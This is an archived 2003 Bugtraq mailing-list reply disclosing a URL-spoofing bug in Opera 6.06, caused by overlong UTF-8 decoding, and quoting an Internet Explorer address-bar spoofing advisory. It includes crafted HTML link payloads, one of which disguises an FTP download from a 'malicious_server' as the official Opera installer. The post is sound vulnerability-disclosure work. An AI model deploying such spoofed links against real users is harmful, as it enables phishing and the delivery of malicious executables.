I have tested this bug on Opera 6.06/7.23 at Win2k.SP4/Win98SE
Japanese.

Opera 7.23 was not effected by this bug but Opera 6.06 had
a similar bug.

Example:
http://www.fake_server.com%C0%80 (at) www.real_server (dot) com [email concealed]/

When Opera 6.06 which "Encoding all addresses with UTF-8"
(Opera's network setting) is enabled opens the URL above,
"%C0%80" will be converted to "\x0000" (*1) and
Opera opens "http://www.real_server.com/" showing
"http://www.fake_server.com" in the address bar or
some JavaScript objects and so forth.

And Opera 6.06 shows a URL Warining Dialog before it goes to a URL that
contains a username so that a user will see the real server's name
in HTTP/HTTPS.
But in FTP, it does not shows a URL Warining Dialog so that
a user cannot see the real information.

Sample Code (for Opera 6) :

<a href="http://www.fake_server.com%C0%AFfake_path%C0%AFfake_filename%C0%AE
html%C0%80 (at) www.opera (dot) com [email concealed]/">
http://www.fake_server.com/fake_path/fake_filename.html
</a>

<a href="ftp://ftp.opera.com%C0%AFpub%C0%AFopera%C0%AFwin%C0%AF723%C0%AFen%
C0%AFstd%C0%AFow32enen723%C0%AEexe%C0%80:password@malicious_server/ow32e
nen723.exe">
ftp://ftp.opera.com/pub/opera/win/723/en/std/ow32enen723.exe
</a>

*1 Opera 6 has a "UTF-8 Decode Bug".
"\xC0\x80" .. "\xC0\xBF", "\xC1\x80" .. "\xC1\xBF" are mapped to
"\x0000" .. "\x003F", "\x0040" .. "\x007F".
Due to this bug, Opera 6 has so many troubles.

Thanks.

nesumin

-----Original Message-----
From: <bugtraq (at) zapthedingbat (dot) com [email concealed]>
Sent: 9 Dec 2003 14:44:16 -0000
To: bugtraq (at) securityfocus (dot) com [email concealed]
Subject: Internet Explorer URL parsing vulnerability

>
>
> Internet Explorer URL parsing vulnerability
> Vendor Notified 09 December, 2003
>
> # Vulnerability ##########
> There is a flaw in the way that Internet Explorer displays URLs in the address bar.
>
> By opening a specially crafted URL an attacker can open a page that appears to be from a different domain from the current location.
>
> # Exploit ##########
> By opening a window using the http://user@domain nomenclature an attacker can hide the real location of the page by including a 0x01 character after the "@" character.
> Internet Explorer doesn't display the rest of the URL making the page appear to be at a different domain.
>
> # POC ##########
> http://www.zapthedingbat.com/security/ex01/vun1.htm
>
> # Tested ##########
> Internet Explorer
> Version 6.0.2800.1106C0
> Updates: SP1, Q810847, Q810351, Q822925, Q330994, Q828750, Q824145
>
> # Credit ##########
> Zap The Dingbat
> http://www.zapthedingbat.com/

[ reply ]